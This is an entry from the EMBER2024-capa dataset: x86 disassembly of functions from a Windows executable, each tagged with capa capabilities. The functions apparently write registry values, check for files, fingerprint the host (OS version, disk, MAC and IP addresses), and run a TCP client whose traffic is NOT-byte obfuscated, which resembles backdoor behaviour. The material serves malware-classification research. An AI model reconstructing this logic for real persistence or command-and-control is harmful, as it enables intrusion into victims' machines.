joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401460
Capabilities:
Set registry value

Disassembly:
sub esp, 0x2d8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x2d4], eax
xor eax, eax
push 0xc6
push eax
lea ecx, [esp + 0xe]
push ecx
mov dword [esp + 0xc], 0
mov word [esp + 0x10], ax
call fcn.00414570
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xe2]
push eax
mov word [esp + 0xe4], dx
call fcn.00414570
push 0x42d48c
lea ecx, [esp + 0x20]
push 0x64
push ecx
call fcn.00412886
push 0x42d4a0
lea edx, [esp + 0x2c]
push 0x64
push edx
call fcn.0041215c
push 0x42d4b8
lea eax, [esp + 0x38]
push 0x64
push eax
call fcn.0041215c
push 0x42d4d0
lea ecx, [esp + 0x44]
push 0x64
push ecx
call fcn.0041215c
add esp, 0x48
push 0x42d4f0
lea edx, [esp + 8]
push 0x64
push edx
call fcn.0041215c
push esi
lea eax, [esp + 0xdc]
push 0x104
push eax
call fcn.00412886
add esp, 0x18
lea ecx, [esp]
push ecx
push 3
push 0
lea edx, [esp + 0x10]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401581
lea eax, [esp + 0xcc]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401544
sub eax, edx
mov edx, dword [esp]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0xd0]
push ecx
push 1
push 0
push 0x42d500
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401581
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x2d4]
xor ecx, esp
xor eax, eax
call fcn.0041214d
add esp, 0x2d8
ret
Function at 0x4021c0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
sub esp, 0xbe8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0xbe4], eax
push esi
mov esi, dword [esp + 0xbf0]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x436bf0
push 0x67
push esi
call edi
push 0x64
push 0x436b28
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004023a0
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x436bf0
push 0x436b28
push 0
mov dword [0x436cb8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x402286
push ebx
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, 0x433fa0
call fcn.00402a69
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
lea eax, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0xc]
call fcn.004015a0
test eax, eax
je 0x40227c
call fcn.004031b1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402770
test eax, eax
jne 0x40229f
pop ebx
mov ecx, dword [esp + 0xbec]
pop edi
pop esi
xor ecx, esp
call fcn.0041214d
add esp, 0xbe8
ret 0x10
mov ecx, dword [0x437340]
test ecx, ecx
jbe 0x4022c9
cmp word [0x437344], 0
jbe 0x4022c9
mov esi, 0x433fac
call fcn.004038d4
mov ax, word [0x437344]
mov word [0x433fbc], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x42d14c
mov edx, 0x4378b8
call fcn.00402a50
call fcn.00403992
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x9fa]
push eax
mov word [esp + 0x9fc], dx
call fcn.00414570
lea edi, [esp + 0x9fc]
call fcn.00403938
push 0x42d164
mov ecx, edi
push 0x104
push ecx
call fcn.0041215c
push 0x4378b8
mov edx, edi
push 0x104
push edx
call fcn.0041215c
add esp, 0x2c
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402376
push 0x1f4
call ebx
push 1
push 0
push 0x42d168
mov ecx, edi
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call ebx
test byte [0x43723c], 7
je 0x40238b
call fcn.00401ec0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00414570
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00414570
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x42d170
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x42d1b4
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4024d6
mov ebx, 1
push 0x42d1c0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d208
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402501
or ebx, 2
push 0x42d218
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d264
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40252c
or ebx, 4
push 0x42d270
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d2c4
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40255a
or ebx, 0x100
push 0x42d2d0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d324
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402588
or ebx, 0x200
push 0x42d330
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d390
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4025b6
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0041214d
add esp, 0x414
ret
Function at 0x402770
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.00414570
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x4374b8
call fcn.00402b11
test eax, eax
jne 0x4028b9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.00414570
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.004033f6
xor eax, eax
jmp 0x402800
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437660], cx
add eax, 2
test cx, cx
jne 0x402800
push 0x42d39c
push 0x40
push 0x4374bc
call fcn.00412886
add esp, 0xc
push 0x42d3b8
push 0x10
push 0x43753e
call fcn.00412886
add esp, 0xc
push 0x42d3c4
push 0x40
push 0x43755e
call fcn.00412886
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [0x4375de], ax
mov word [0x43753c], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437640], cx
add eax, 2
test cx, cx
jne 0x402870
mov eax, 0x437640
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402890
mov ecx, dword [0x42d3e0]
mov dx, word [0x42d3e4]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x437680], 5
call fcn.00403484
lea edi, [esp + 0x1d8]
call fcn.004033f6
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x437478], cx
add eax, 2
test cx, cx
jne 0x4028d0
push 0x437478
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402919
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.0041214d
mov esp, ebp
pop ebp
ret
push 0x437478
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402904
push 0x42d3e8
call fcn.0040350d
add esp, 4
mov ecx, 0x4376b8
mov dword [0x437340], eax
call fcn.004025e0
mov eax, dword [0x437684]
push 0
push 0
push 0
push 0x403839
push 0
push 0
mov dword [0x4376c0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
xor ecx, esp
mov eax, 1
call fcn.0041214d
mov esp, ebp
pop ebp
ret
Function at 0x402a69
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [esi], 0
push 0x118
lea eax, [ebp - 0x7c]
push 0
push eax
call fcn.00414570
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402afc
mov ecx, dword [ebp - 0x78]
xor edx, edx
inc edx
cmp dword [ebp - 0x7c], 5
jne 0x402ae0
test ecx, ecx
jne 0x402acb
cmp word [ebp + 0x94], 4
jb 0x402afc
mov dword [esi], edx
push 2
pop eax
cmp ecx, eax
jne 0x402ad4
mov dword [esi], eax
jae 0x402ada
cmp ecx, edx
jne 0x402afc
mov dword [esi], 3
cmp dword [ebp - 0x7c], 6
jne 0x402afc
test ecx, ecx
jne 0x402af2
mov dword [esi], 4
jmp 0x402afc
cmp ecx, edx
jne 0x402afc
mov dword [esi], 5
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.0041214d
add ebp, 0xa0
leave
ret

Function at 0x402b90
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.00414570
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x402c42
push edi
mov edi, 0x42d670
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x402bdb
sub eax, edx
sar eax, 1
je 0x402c41
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0041215c
push 0x42d68c
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041229f
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x402c41
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00412592
push dword [ebp - 0x78]
call fcn.00412626
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.0041214d
add ebp, 0x198
leave
ret

Function at 0x402d21
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00414570
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402eb3
push dword [ebp - 0x214]
call fcn.00402fa0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402d99
xor eax, eax
jmp 0x402da0
push esi
call fcn.00402c5b
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041214d
leave
ret
Function at 0x402dac
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x402e55
mov ebx, 0xc00
push ebx
call fcn.00407cee
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402e46
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x402e28
jg 0x402e1c
cmp ecx, dword [ebp - 0x18]
jbe 0x402e28
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x90
dec ebx
jne 0x402e0b
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.00416380
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x402e55
push dword [ebp - 4]
call fcn.00407d1d
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402e65
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x402eae
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x4030bf
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42d68c
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0041229f
add esp, 0xc
test eax, eax
je 0x4030e9
xor eax, eax
jmp 0x40316c
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.0041323b
push dword [ebp - 4]
call fcn.0041345d
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.0041323b
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.0041351a
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00412592
push dword [ebp - 4]
call fcn.00412626
push 0x32
lea ebx, [edi + esi]
call fcn.0040316f
push 0x42d6f8
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0041229f
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x4030e2
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00412804
push dword [ebp - 4]
call fcn.00412626
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x40366b
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4036ea
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x4036c0
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x4036ef
cmp dword [ebp - 8], 3
jb 0x403686
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x4036e3
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x4036e3
cmp edi, esi
jne 0x4036ce
mov eax, dword [ebp - 4]
jmp 0x403706
cmp dword [eax + 0x34], 6
jne 0x403703
cmp dword [eax + 0x1c], esi
jne 0x40370c
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x4036f8
jmp 0x403749
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x4036d1
Function at 0x403a30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x398], eax
push dword [ebp + 0x3a4]
mov dword [ebp - 0x80], ecx
call fcn.00403b5d
pop ecx
mov dword [ebp - 0x7c], eax
test eax, eax
jne 0x403b48
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp + 0x190], ax
lea eax, [ebp + 0x192]
push eax
call fcn.00414570
xor eax, eax
push esi
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
call fcn.00414570
lea edi, [ebp + 0x190]
call fcn.00403938
push 0x42d694
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.0041215c
mov edi, 0x436cc0
add esp, 0x24
mov ebx, edi
cmp word [ebx], 0
je 0x403ae0
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00412886
push ebx
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.0041215c
add esp, 0x18
add ebx, 0x118
cmp ebx, 0x437238
jl 0x403abb
cmp word [edi], 0
je 0x403b06
push dword [ebp + 0x3a4]
mov ecx, edi
push dword [ebp - 0x80]
call fcn.004042df
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x437238
jl 0x403aee
push 0x4378b8
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.0041215c
add esp, 0xc
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x403b45
mov dword [ebp - 0x7c], 2
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp + 0x398]
xor ecx, ebp
call fcn.0041214d
add ebp, 0x39c
leave
ret

Function at 0x403d34
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x1a8]
cmp ecx, ebx
je 0x403d5e
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x18]
push eax
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403d82
xor eax, eax
jmp 0x403e08
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403d7b
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403dbe
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 8], eax
push 4
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403df7
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [esp + 0x10], eax
pop eax
push dword [ebp + 8]
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
push 0x10
lea eax, [esp + 0xc]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403df7
xor ebx, ebx
inc ebx
jmp 0x403e06
mov eax, dword [esi]
test eax, eax
je 0x403e06
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [esp + 0x9ac]
pop ebx
xor ecx, esp
call fcn.0041214d
mov esp, ebp
pop ebp
ret
Function at 0x403f47
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403fc4
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403f6e
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403f62
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00407cee
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x433fa4
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00418860
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403fc7
cmp eax, dword [ebp - 4]
jne 0x403fc7
mov dword [ebp - 8], 1
jmp 0x403fc7
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403fd2
push ebx
call fcn.00407d1d
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x40416b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4041a9
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x4042c7
cmp edi, ebx
je 0x4042c7
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00414570
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x4042c7
cmp eax, ebx
je 0x4042c7
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00407cee
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x4042b2
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x404290
test eax, eax
je 0x404290
add ebx, eax
cmp edi, ebx
jg 0x404218
push 5
pop ecx
cmp ebx, ecx
jl 0x4042b2
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x433fa4
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4042b2
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x404270
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x40426a
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x404298
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00418860
mov dword [esi], ebx
jmp 0x4042a5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4042b2
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00418860
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x4042c7
push dword [ebp - 0x860]
call fcn.00407d1d
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041214d
add ebp, 0x70
leave
ret